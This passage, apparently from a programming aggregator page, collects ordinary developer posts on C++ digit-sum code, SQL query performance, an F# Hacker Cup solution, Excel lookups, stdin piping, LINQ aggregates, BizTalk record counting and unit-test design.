1000000 == 0) { previous_sum[6]++; sum_counter = previous_sum[6] + previous_sum[7] + previous_sum[8] + previous_sum[9] + previous_sum[10] + previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[6] * previous_sum[6] + previous_sum[7] * previous_sum[7] + previous_sum[8] * previous_sum[8] + previous_sum[9] * previous_sum[9] + previous_sum[10] * previous_sum[10] + previous_sum[11] * previous_sum[11] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 100000 == 0) { previous_sum[5]++; sum_counter = previous_sum[5] + previous_sum[6] + previous_sum[7] + previous_sum[8] + previous_sum[9] + previous_sum[10] + previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[5] * previous_sum[5] + previous_sum[6] * previous_sum[6] + previous_sum[7] * previous_sum[7] + previous_sum[8] * previous_sum[8] + previous_sum[9] * previous_sum[9] + previous_sum[10] * previous_sum[10] + previous_sum[11] * previous_sum[11] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 10000 == 0) { previous_sum[4]++; sum_counter = previous_sum[4] + previous_sum[5] + previous_sum[6] + previous_sum[7] + previous_sum[8] + previous_sum[9] + previous_sum[10] + previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[4] * previous_sum[4] + previous_sum[5] * previous_sum[5] + previous_sum[6] * previous_sum[6] + previous_sum[7] * previous_sum[7] + previous_sum[8] * previous_sum[8] + previous_sum[9] * previous_sum[9] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 1000 == 0) { previous_sum[3]++; sum_counter = previous_sum[3] + previous_sum[4] + previous_sum[5] + previous_sum[6] + previous_sum[7] + previous_sum[8] + previous_sum[9] + previous_sum[10] + previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[3] * previous_sum[3] + previous_sum[4] * previous_sum[4] + previous_sum[5] * previous_sum[5] + previous_sum[6] * previous_sum[6] + previous_sum[7] * previous_sum[7] + previous_sum[8] * previous_sum[8] + previous_sum[9] * previous_sum[9] + previous_sum[10] * previous_sum[10] + previous_sum[11] * previous_sum[11] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 100 == 0) { previous_sum[2]++; sum_counter = previous_sum[2] + previous_sum[3] + previous_sum[4] + previous_sum[5] + previous_sum[6] + previous_sum[7] + previous_sum[8] + previous_sum[9] + previous_sum[10] + previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[2] * previous_sum[2] + previous_sum[3] * previous_sum[3] + previous_sum[4] * previous_sum[4] + previous_sum[5] * previous_sum[5] + previous_sum[6] * previous_sum[6] + previous_sum[7] * previous_sum[7] + previous_sum[8] * previous_sum[8] + previous_sum[9] * previous_sum[9] + previous_sum[10] * previous_sum[10] + previous_sum[11] * previous_sum[11] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 10 == 0) { previous_sum[1]++; sum_counter = previous_sum[1] + previous_sum[2] + previous_sum[3] + previous_sum[4] + previous_sum[5] + previous_sum[6] + previous_sum[7] + previous_sum[8] + previous_sum[9] + previous_sum[10] + previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[1] * previous_sum[1] + previous_sum[2] * previous_sum[2] + previous_sum[3] * previous_sum[3] + previous_sum[4] * previous_sum[4] + previous_sum[5] * previous_sum[5] + previous_sum[6] * previous_sum[6] + previous_sum[7] * previous_sum[7] + previous_sum[8] * previous_sum[8] + previous_sum[9] * previous_sum[9] + previous_sum[10] * previous_sum[10] + previous_sum[11] * previous_sum[11] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[0] = 0; } else { sum_counter++; sum_square_counter += ((n - 1) % 10) * 2 + 1; } // get_sum_and_sum_square_digits(n, sum, sum_square); // assert(sum == sum_counter && sum_square == sum_square_counter); if (prime_table[sum_counter] && prime_table[sum_square_counter]) { lucky_counter++; } } return lucky_counter; } void inout_lucky_numbers() { int n; cin >> n; long long a; long long b; while (n--) { cin >> a >> b; cout << count_lucky_number(a, b) << endl; } } int main() { inout_lucky_numbers(); return 0; }

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  • Performance considerations for common SQL queries

    - by Jim Giercyk
    Originally posted on: http://geekswithblogs.net/NibblesAndBits/archive/2013/10/16/performance-considerations-for-common-sql-queries.aspxSQL offers many different methods to produce the same results.  There is a never-ending debate between SQL developers as to the “best way” or the “most efficient way” to render a result set.  Sometimes these disputes even come to blows….well, I am a lover, not a fighter, so I decided to collect some data that will prove which way is the best and most efficient.  For the queries below, I downloaded the test database from SQLSkills:  http://www.sqlskills.com/sql-server-resources/sql-server-demos/.  There isn’t a lot of data, but enough to prove my point: dbo.member has 10,000 records, and dbo.payment has 15,554.  Our result set contains 6,706 records. The following queries produce an identical result set; the result set contains aggregate payment information for each member who has made more than 1 payment from the dbo.payment table and the first and last name of the member from the dbo.member table.   /*************/ /* Sub Query  */ /*************/ SELECT  a.[Member Number] ,         m.lastname ,         m.firstname ,         a.[Number Of Payments] ,         a.[Average Payment] ,         a.[Total Paid] FROM    ( SELECT    member_no 'Member Number' ,                     AVG(payment_amt) 'Average Payment' ,                     SUM(payment_amt) 'Total Paid' ,                     COUNT(Payment_No) 'Number Of Payments'           FROM      dbo.payment           GROUP BY  member_no           HAVING    COUNT(Payment_No) > 1         ) a         JOIN dbo.member m ON a.[Member Number] = m.member_no         /***************/ /* Cross Apply  */ /***************/ SELECT  ca.[Member Number] ,         m.lastname ,         m.firstname ,         ca.[Number Of Payments] ,         ca.[Average Payment] ,         ca.[Total Paid] FROM    dbo.member m         CROSS APPLY ( SELECT    member_no 'Member Number' ,                                 AVG(payment_amt) 'Average Payment' ,                                 SUM(payment_amt) 'Total Paid' ,                                 COUNT(Payment_No) 'Number Of Payments'                       FROM      dbo.payment                       WHERE     member_no = m.member_no                       GROUP BY  member_no                       HAVING    COUNT(Payment_No) > 1                     ) ca /********/                    /* CTEs  */ /********/ ; WITH    Payments           AS ( SELECT   member_no 'Member Number' ,                         AVG(payment_amt) 'Average Payment' ,                         SUM(payment_amt) 'Total Paid' ,                         COUNT(Payment_No) 'Number Of Payments'                FROM     dbo.payment                GROUP BY member_no                HAVING   COUNT(Payment_No) > 1              ),         MemberInfo           AS ( SELECT   p.[Member Number] ,                         m.lastname ,                         m.firstname ,                         p.[Number Of Payments] ,                         p.[Average Payment] ,                         p.[Total Paid]                FROM     dbo.member m                         JOIN Payments p ON m.member_no = p.[Member Number]              )     SELECT  *     FROM    MemberInfo /************************/ /* SELECT with Grouping   */ /************************/ SELECT  p.member_no 'Member Number' ,         m.lastname ,         m.firstname ,         COUNT(Payment_No) 'Number Of Payments' ,         AVG(payment_amt) 'Average Payment' ,         SUM(payment_amt) 'Total Paid' FROM    dbo.payment p         JOIN dbo.member m ON m.member_no = p.member_no GROUP BY p.member_no ,         m.lastname ,         m.firstname HAVING  COUNT(Payment_No) > 1   We can see what is going on in SQL’s brain by looking at the execution plan.  The Execution Plan will demonstrate which steps and in what order SQL executes those steps, and what percentage of batch time each query takes.  SO….if I execute all 4 of these queries in a single batch, I will get an idea of the relative time SQL takes to execute them, and how it renders the Execution Plan.  We can settle this once and for all.  Here is what SQL did with these queries:   Not only did the queries take the same amount of time to execute, SQL generated the same Execution Plan for each of them.  Everybody is right…..I guess we can all finally go to lunch together!  But wait a second, I may not be a fighter, but I AM an instigator.     Let’s see how a table variable stacks up.  Here is the code I executed: /********************/ /*  Table Variable  */ /********************/ DECLARE @AggregateTable TABLE     (       member_no INT ,       AveragePayment MONEY ,       TotalPaid MONEY ,       NumberOfPayments MONEY     ) INSERT  @AggregateTable         SELECT  member_no 'Member Number' ,                 AVG(payment_amt) 'Average Payment' ,                 SUM(payment_amt) 'Total Paid' ,                 COUNT(Payment_No) 'Number Of Payments'         FROM    dbo.payment         GROUP BY member_no         HAVING  COUNT(Payment_No) > 1   SELECT  at.member_no 'Member Number' ,         m.lastname ,         m.firstname ,         at.NumberOfPayments 'Number Of Payments' ,         at.AveragePayment 'Average Payment' ,         at.TotalPaid 'Total Paid' FROM    @AggregateTable at         JOIN dbo.member m ON m.member_no = at.member_no In the interest of keeping things in groupings of 4, I removed the last query from the previous batch and added the table variable query.  Here’s what I got:     Since we first insert into the table variable, then we read from it, the Execution Plan renders 2 steps.  BUT, the combination of the 2 steps is only 22% of the batch.  It is actually faster than the other methods even though it is treated as 2 separate queries in the Execution Plan.  The argument I often hear against Table Variables is that SQL only estimates 1 row for the table size in the Execution Plan.  While this is true, the estimate does not come in to play until you read from the table variable.  In this case, the table variable had 6,706 rows, but it still outperformed the other queries.  People argue that table variables should only be used for hash or lookup tables.  The fact is, you have control of what you put IN to the variable, so as long as you keep it within reason, these results suggest that a table variable is a viable alternative to sub-queries. If anyone does volume testing on this theory, I would be interested in the results.  My suspicion is that there is a breaking point where efficiency goes down the tubes immediately, and it would be interesting to see where the threshold is. Coding SQL is a matter of style.  If you’ve been around since they introduced DB2, you were probably taught a little differently than a recent computer science graduate.  If you have a company standard, I strongly recommend you follow it.    If you do not have a standard, generally speaking, there is no right or wrong answer when talking about the efficiency of these types of queries, and certainly no hard-and-fast rule.  Volume and infrastructure will dictate a lot when it comes to performance, so your results may vary in your environment.  Download the database and try it!

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  • F# - Facebook Hacker Cup - Double Squares

    - by Jacob
    I'm working on strengthening my F#-fu and decided to tackle the Facebook Hacker Cup Double Squares problem. I'm having some problems with the run-time and was wondering if anyone could help me figure out why it is so much slower than my C# equivalent. There's a good description from another post; Source: Facebook Hacker Cup Qualification Round 2011 A double-square number is an integer X which can be expressed as the sum of two perfect squares. For example, 10 is a double-square because 10 = 3^2 + 1^2. Given X, how can we determine the number of ways in which it can be written as the sum of two squares? For example, 10 can only be written as 3^2 + 1^2 (we don't count 1^2 + 3^2 as being different). On the other hand, 25 can be written as 5^2 + 0^2 or as 4^2 + 3^2. You need to solve this problem for 0 = X = 2,147,483,647. Examples: 10 = 1 25 = 2 3 = 0 0 = 1 1 = 1 My basic strategy (which I'm open to critique on) is to; Create a dictionary (for memoize) of the input numbers initialzed to 0 Get the largest number (LN) and pass it to count/memo function Get the LN square root as int Calculate squares for all numbers 0 to LN and store in dict Sum squares for non repeat combinations of numbers from 0 to LN If sum is in memo dict, add 1 to memo Finally, output the counts of the original numbers. Here is the F# code (See code changes at bottom) I've written that I believe corresponds to this strategy (Runtime: ~8:10); open System open System.Collections.Generic open System.IO /// Get a sequence of values let rec range min max = seq { for num in [min .. max] do yield num } /// Get a sequence starting from 0 and going to max let rec zeroRange max = range 0 max /// Find the maximum number in a list with a starting accumulator (acc) let rec maxNum acc = function | [] -> acc | p::tail when p > acc -> maxNum p tail | p::tail -> maxNum acc tail /// A helper for finding max that sets the accumulator to 0 let rec findMax nums = maxNum 0 nums /// Build a collection of combinations; ie [1,2,3] = (1,1), (1,2), (1,3), (2,2), (2,3), (3,3) let rec combos range = seq { let count = ref 0 for inner in range do for outer in Seq.skip !count range do yield (inner, outer) count := !count + 1 } let rec squares nums = let dict = new Dictionary<int, int>() for s in nums do dict.[s] <- (s * s) dict /// Counts the number of possible double squares for a given number and keeps track of other counts that are provided in the memo dict. let rec countDoubleSquares (num: int) (memo: Dictionary<int, int>) = // The highest relevent square is the square root because it squared plus 0 squared is the top most possibility let maxSquare = System.Math.Sqrt((float)num) // Our relevant squares are 0 to the highest possible square; note the cast to int which shouldn't hurt. let relSquares = range 0 ((int)maxSquare) // calculate the squares up front; let calcSquares = squares relSquares // Build up our square combinations; ie [1,2,3] = (1,1), (1,2), (1,3), (2,2), (2,3), (3,3) for (sq1, sq2) in combos relSquares do let v = calcSquares.[sq1] + calcSquares.[sq2] // Memoize our relevant results if memo.ContainsKey(v) then memo.[v] <- memo.[v] + 1 // return our count for the num passed in memo.[num] // Read our numbers from file. //let lines = File.ReadAllLines("test2.txt") //let nums = [ for line in Seq.skip 1 lines -> Int32.Parse(line) ] // Optionally, read them from straight array let nums = [1740798996; 1257431873; 2147483643; 602519112; 858320077; 1048039120; 415485223; 874566596; 1022907856; 65; 421330820; 1041493518; 5; 1328649093; 1941554117; 4225; 2082925; 0; 1; 3] // Initialize our memoize dictionary let memo = new Dictionary<int, int>() for num in nums do memo.[num] <- 0 // Get the largest number in our set, all other numbers will be memoized along the way let maxN = findMax nums // Do the memoize let maxCount = countDoubleSquares maxN memo // Output our results. for num in nums do printfn "%i" memo.[num] // Have a little pause for when we debug let line = Console.Read() And here is my version in C# (Runtime: ~1:40: using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; using System.Text; namespace FBHack_DoubleSquares { public class TestInput { public int NumCases { get; set; } public List<int> Nums { get; set; } public TestInput() { Nums = new List<int>(); } public int MaxNum() { return Nums.Max(); } } class Program { static void Main(string[] args) { // Read input from file. //TestInput input = ReadTestInput("live.txt"); // As example, load straight. TestInput input = new TestInput { NumCases = 20, Nums = new List<int> { 1740798996, 1257431873, 2147483643, 602519112, 858320077, 1048039120, 415485223, 874566596, 1022907856, 65, 421330820, 1041493518, 5, 1328649093, 1941554117, 4225, 2082925, 0, 1, 3, } }; var maxNum = input.MaxNum(); Dictionary<int, int> memo = new Dictionary<int, int>(); foreach (var num in input.Nums) { if (!memo.ContainsKey(num)) memo.Add(num, 0); } DoMemoize(maxNum, memo); StringBuilder sb = new StringBuilder(); foreach (var num in input.Nums) { //Console.WriteLine(memo[num]); sb.AppendLine(memo[num].ToString()); } Console.Write(sb.ToString()); var blah = Console.Read(); //File.WriteAllText("out.txt", sb.ToString()); } private static int DoMemoize(int num, Dictionary<int, int> memo) { var highSquare = (int)Math.Floor(Math.Sqrt(num)); var squares = CreateSquareLookup(highSquare); var relSquares = squares.Keys.ToList(); Debug.WriteLine("Starting - " + num.ToString()); Debug.WriteLine("RelSquares.Count = {0}", relSquares.Count); int sum = 0; var index = 0; foreach (var square in relSquares) { foreach (var inner in relSquares.Skip(index)) { sum = squares[square] + squares[inner]; if (memo.ContainsKey(sum)) memo[sum]++; } index++; } if (memo.ContainsKey(num)) return memo[num]; return 0; } private static TestInput ReadTestInput(string fileName) { var lines = File.ReadAllLines(fileName); var input = new TestInput(); input.NumCases = int.Parse(lines[0]); foreach (var lin in lines.Skip(1)) { input.Nums.Add(int.Parse(lin)); } return input; } public static Dictionary<int, int> CreateSquareLookup(int maxNum) { var dict = new Dictionary<int, int>(); int square; foreach (var num in Enumerable.Range(0, maxNum)) { square = num * num; dict[num] = square; } return dict; } } } Thanks for taking a look. UPDATE Changing the combos function slightly will result in a pretty big performance boost (from 8 min to 3:45): /// Old and Busted... let rec combosOld range = seq { let rangeCache = Seq.cache range let count = ref 0 for inner in rangeCache do for outer in Seq.skip !count rangeCache do yield (inner, outer) count := !count + 1 } /// The New Hotness... let rec combos maxNum = seq { for i in 0..maxNum do for j in i..maxNum do yield i,j }

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  • How to reference or vlookup a list of values based on a comma separated list of column references within a cell in excel?

    - by glallen
    I want to do a vlookup (or similar) against a column which is a list of values. This works fine for looking up a value from a single row, but I want to be able to look up multiple rows, sum the results, and divide by the number of rows referenced. For example: A B C D E F G [----given values----------------] [Work/Auth] [sum(vlookup(each(G),table,5)) /count(G)] [given vals] 1 Item Authorized OnHand Working Operational% DependencyOR% Dependencies 2 A 1 1 1 1 .55 B 3 B 10 5 5 .50 .55 C,D 4 C 100 75 50 .50 .60 D 5 D 10 10 6 .60 1 I want to be able to show an Operational Rate, and an operational rate of the systems each system depends on (F). In order to get a value for F, I want to sum over each value in column-E that was referenced by a dependency in column-G then divide by the number of dependencies in G. Column-G can have varying lengths, and will be a comma separated list of values from column-A. Is there any way to do this in excel?

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  • Performing Aggregate Functions on Multi-Million Row Tables

    - by Daniel Short
    I'm having some serious performance issues with a multi-million row table that I feel I should be able to get results from fairly quick. Here's a run down of what I have, how I'm querying it, and how long it's taking: I'm running SQL Server 2008 Standard, so Partitioning isn't currently an option I'm attempting to aggregate all views for all inventory for a specific account over the last 30 days. All views are stored in the following table: CREATE TABLE [dbo].[LogInvSearches_Daily]( [ID] [bigint] IDENTITY(1,1) NOT NULL, [Inv_ID] [int] NOT NULL, [Site_ID] [int] NOT NULL, [LogCount] [int] NOT NULL, [LogDay] [smalldatetime] NOT NULL, CONSTRAINT [PK_LogInvSearches_Daily] PRIMARY KEY CLUSTERED ( [ID] ASC )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON, FILLFACTOR = 90) ON [PRIMARY] ) ON [PRIMARY] This table has 132,000,000 records, and is over 4 gigs. A sample of 10 rows from the table: ID Inv_ID Site_ID LogCount LogDay -------------------- ----------- ----------- ----------- ----------------------- 1 486752 48 14 2009-07-21 00:00:00 2 119314 51 16 2009-07-21 00:00:00 3 313678 48 25 2009-07-21 00:00:00 4 298863 0 1 2009-07-21 00:00:00 5 119996 0 2 2009-07-21 00:00:00 6 463777 534 7 2009-07-21 00:00:00 7 339976 503 2 2009-07-21 00:00:00 8 333501 570 4 2009-07-21 00:00:00 9 453955 0 12 2009-07-21 00:00:00 10 443291 0 4 2009-07-21 00:00:00 (10 row(s) affected) I have the following index on LogInvSearches_Daily: /****** Object: Index [IX_LogInvSearches_Daily_LogDay] Script Date: 05/12/2010 11:08:22 ******/ CREATE NONCLUSTERED INDEX [IX_LogInvSearches_Daily_LogDay] ON [dbo].[LogInvSearches_Daily] ( [LogDay] ASC ) INCLUDE ( [Inv_ID], [LogCount]) WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, SORT_IN_TEMPDB = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY] I need to pull inventory only from the Inventory for a specific account id. I have an index on the Inventory as well. I'm using the following query to aggregate the data and give me the top 5 records. This query is currently taking 24 seconds to return the 5 rows: StmtText ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- SELECT TOP 5 Sum(LogCount) AS Views , DENSE_RANK() OVER(ORDER BY Sum(LogCount) DESC, Inv_ID DESC) AS Rank , Inv_ID FROM LogInvSearches_Daily D (NOLOCK) WHERE LogDay DateAdd(d, -30, getdate()) AND EXISTS( SELECT NULL FROM propertyControlCenter.dbo.Inventory (NOLOCK) WHERE Acct_ID = 18731 AND Inv_ID = D.Inv_ID ) GROUP BY Inv_ID (1 row(s) affected) StmtText ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |--Top(TOP EXPRESSION:((5))) |--Sequence Project(DEFINE:([Expr1007]=dense_rank)) |--Segment |--Segment |--Sort(ORDER BY:([Expr1006] DESC, [D].[Inv_ID] DESC)) |--Stream Aggregate(GROUP BY:([D].[Inv_ID]) DEFINE:([Expr1006]=SUM([LOALogs].[dbo].[LogInvSearches_Daily].[LogCount] as [D].[LogCount]))) |--Sort(ORDER BY:([D].[Inv_ID] ASC)) |--Nested Loops(Inner Join, OUTER REFERENCES:([D].[Inv_ID])) |--Nested Loops(Inner Join, OUTER REFERENCES:([Expr1011], [Expr1012], [Expr1010])) | |--Compute Scalar(DEFINE:(([Expr1011],[Expr1012],[Expr1010])=GetRangeWithMismatchedTypes(dateadd(day,(-30),getdate()),NULL,(6)))) | | |--Constant Scan | |--Index Seek(OBJECT:([LOALogs].[dbo].[LogInvSearches_Daily].[IX_LogInvSearches_Daily_LogDay] AS [D]), SEEK:([D].[LogDay] > [Expr1011] AND [D].[LogDay] < [Expr1012]) ORDERED FORWARD) |--Index Seek(OBJECT:([propertyControlCenter].[dbo].[Inventory].[IX_Inventory_Acct_ID]), SEEK:([propertyControlCenter].[dbo].[Inventory].[Acct_ID]=(18731) AND [propertyControlCenter].[dbo].[Inventory].[Inv_ID]=[LOA (13 row(s) affected) I tried using a CTE to pick up the rows first and aggregate them, but that didn't run any faster, and gives me essentially the same execution plan. (1 row(s) affected) StmtText ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --SET SHOWPLAN_TEXT ON; WITH getSearches AS ( SELECT LogCount -- , DENSE_RANK() OVER(ORDER BY Sum(LogCount) DESC, Inv_ID DESC) AS Rank , D.Inv_ID FROM LogInvSearches_Daily D (NOLOCK) INNER JOIN propertyControlCenter.dbo.Inventory I (NOLOCK) ON Acct_ID = 18731 AND I.Inv_ID = D.Inv_ID WHERE LogDay DateAdd(d, -30, getdate()) -- GROUP BY Inv_ID ) SELECT Sum(LogCount) AS Views, Inv_ID FROM getSearches GROUP BY Inv_ID (1 row(s) affected) StmtText ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |--Stream Aggregate(GROUP BY:([D].[Inv_ID]) DEFINE:([Expr1004]=SUM([LOALogs].[dbo].[LogInvSearches_Daily].[LogCount] as [D].[LogCount]))) |--Sort(ORDER BY:([D].[Inv_ID] ASC)) |--Nested Loops(Inner Join, OUTER REFERENCES:([D].[Inv_ID])) |--Nested Loops(Inner Join, OUTER REFERENCES:([Expr1008], [Expr1009], [Expr1007])) | |--Compute Scalar(DEFINE:(([Expr1008],[Expr1009],[Expr1007])=GetRangeWithMismatchedTypes(dateadd(day,(-30),getdate()),NULL,(6)))) | | |--Constant Scan | |--Index Seek(OBJECT:([LOALogs].[dbo].[LogInvSearches_Daily].[IX_LogInvSearches_Daily_LogDay] AS [D]), SEEK:([D].[LogDay] > [Expr1008] AND [D].[LogDay] < [Expr1009]) ORDERED FORWARD) |--Index Seek(OBJECT:([propertyControlCenter].[dbo].[Inventory].[IX_Inventory_Acct_ID] AS [I]), SEEK:([I].[Acct_ID]=(18731) AND [I].[Inv_ID]=[LOALogs].[dbo].[LogInvSearches_Daily].[Inv_ID] as [D].[Inv_ID]) ORDERED FORWARD) (8 row(s) affected) (1 row(s) affected) So given that I'm getting good Index Seeks in my execution plan, what can I do to get this running faster? Thanks, Dan

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  • Supporting Piping (A Useful Hello World)

    - by blastthisinferno
    I am trying to write a collection of simple C++ programs that follow the basic Unix philosophy by: Make each program do one thing well. Expect the output of every program to become the input to another, as yet unknown, program. I'm having an issue trying to get the output of one to be the input of the other, and getting the output of one be the input of a separate instance of itself. Very briefly, I have a program add which takes arguments and spits out the summation. I want to be able to pipe the output to another add instance. ./add 1 2 | ./add 3 4 That should yield 6 but currently yields 10. I've encountered two problems: The cin waits for user input from the console. I don't want this, and haven't been able to find a simple example showing a the use of standard input stream without querying the user in the console. If someone knows of an example please let me know. I can't figure out how to use standard input while supporting piping. Currently, it appears it does not work. If I issue the command ./add 1 2 | ./add 3 4 it results in 7. The relevant code is below: add.cpp snippet // ... COMMAND LINE PROCESSING ... std::vector<double> numbers = multi.getValue(); // using TCLAP for command line parsing if (numbers.size() > 0) { double sum = numbers[0]; double arg; for (int i=1; i < numbers.size(); i++) { arg = numbers[i]; sum += arg; } std::cout << sum << std::endl; } else { double input; // right now this is test code while I try and get standard input streaming working as expected while (std::cin) { std::cin >> input; std::cout << input << std::endl; } } // ... MORE IRRELEVANT CODE ... So, I guess my question(s) is does anyone see what is incorrect with this code in order to support piping standard input? Are there some well known (or hidden) resources that explain clearly how to implement an example application supporting the basic Unix philosophy? @Chris Lutz I've changed the code to what's below. The problem where cin still waits for user input on the console, and doesn't just take from the standard input passed from the pipe. Am I missing something trivial for handling this? I haven't tried Greg Hewgill's answer yet, but don't see how that would help since the issue is still with cin. // ... COMMAND LINE PROCESSING ... std::vector<double> numbers = multi.getValue(); // using TCLAP for command line parsing double sum = numbers[0]; double arg; for (int i=1; i < numbers.size(); i++) { arg = numbers[i]; sum += arg; } // right now this is test code while I try and get standard input streaming working as expected while (std::cin) { std::cin >> arg; std::cout << arg << std::endl; } std::cout << sum << std::endl; // ... MORE IRRELEVANT CODE ...

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  • LINQ and Aggregate function

    - by vik20000in
    LINQ also provides with itself important aggregate function. Aggregate function are function that are applied over a sequence like and return only one value like Average, count, sum, Maximum etc…Below are some of the Aggregate functions provided with LINQ and example of their implementation. Count     int[] primeFactorsOf300 = { 2, 2, 3, 5, 5 };     int uniqueFactors = primeFactorsOf300.Distinct().Count();The below example provided count for only odd number.     int[] primeFactorsOf300 = { 2, 2, 3, 5, 5 };     int uniqueFactors = primeFactorsOf300.Distinct().Count(n => n%2 = 1);  Sum     int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };        double numSum = numbers.Sum();  Minimum      int minNum = numbers.Min(); Maximum      int maxNum = numbers.Max();Average      double averageNum = numbers.Average();  Aggregate      double[] doubles = { 1.7, 2.3, 1.9, 4.1, 2.9 };     double product = doubles.Aggregate((runningProduct, nextFactor) => runningProduct * nextFactor);  Vikram

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  • BizTalk 2009 - Scoped Record Counting in Maps

    - by StuartBrierley
    Within BizTalk there is a functoid called Record Count that will return the number of instances of a repeated record or repeated element that occur in a message instance. The input to this functoid is the record or element to be counted. As an example take the following Source schema, where the Source message has a repeated record called Box and each Box has a repeated element called Item: An instance of this Source schema may look as follows; 2 box records - one with 2 items and one with only 1 item. Our destination schema has a number of elements and a repeated box record.  The top level elements contain totals for the number of boxes and the overall number of items.  Each box record contains a single element representing the number of items in that box. Using the Record Count functoid it is easy to map the top level elements, producing the expected totals of 2 boxes and 3 items: We now need to map the total number of items per box, but how will we do this?  We have already seen that the record count functoid returns the total number of instances for the entire message, and unfortunately it does not allow you to specify a scoping parameter.  In order to acheive Scoped Record Counting we will need to make use of a combination of functoids. As you can see above, by linking to a Logical Existence functoid from the record/element to be counted we can then feed the output into a Value Mapping functoid.  Set the other Value Mapping parameter to "1" and link the output to a Cumulative Sum functoid. Set the other Cumulative Sum functoid parameter to "1" to limit the scope of the Cumulative Sum. This gives us the expected results of Items per Box of 2 and 1 respectively. I ran into this issue with a larger schema on a more complex map, but the eventual solution is still the same.  Hopefully this simplified example will act as a good reminder to me and save someone out there a few minutes of brain scratching.

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  • how to architect this to make it unit testable

    - by SOfanatic
    I'm currently working on a project where I'm receiving an object via web service (WSDL). The overall process is the following: Receive object - add/delete/update parts (or all) of it - and return the object with the changes made. The thing is that sometimes these changes are complicated and there is some logic involved, other databases, other web services, etc. so to facilitate this I'm creating a custom object that mimics the original one but has some enhanced functionality to make some things easier. So I'm trying to have this process: Receive original object - convert/copy it to custom object - add/delete/update - convert/copy it back to original object - return original object. Example: public class Row { public List<Field> Fields { get; set; } public string RowId { get; set; } public Row() { this.Fields = new List<Field>(); } } public class Field { public string Number { get; set; } public string Value { get; set; } } So for example, one of the "actions" to perform on this would be to find all Fields in a Row that match a Value equal to something, and update them with some other value. I have a CustomRow class that represents the Row class, how can I make this class unit testable? Do I have to create an interface ICustomRow to mock it in the unit test? If one of the actions is to sum all of the Values in the Fields that have a Number equal to 10, like this function, how can design the custom class to facilitate unit tests. Sample function: public int Sum(FieldNumber number) { return row.Fields.Where(x => x.FieldNumber.Equals(number)).Sum(x => x.FieldValue); } Am I approaching this the wrong way?

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  • how to organize rendering

    - by Irbis
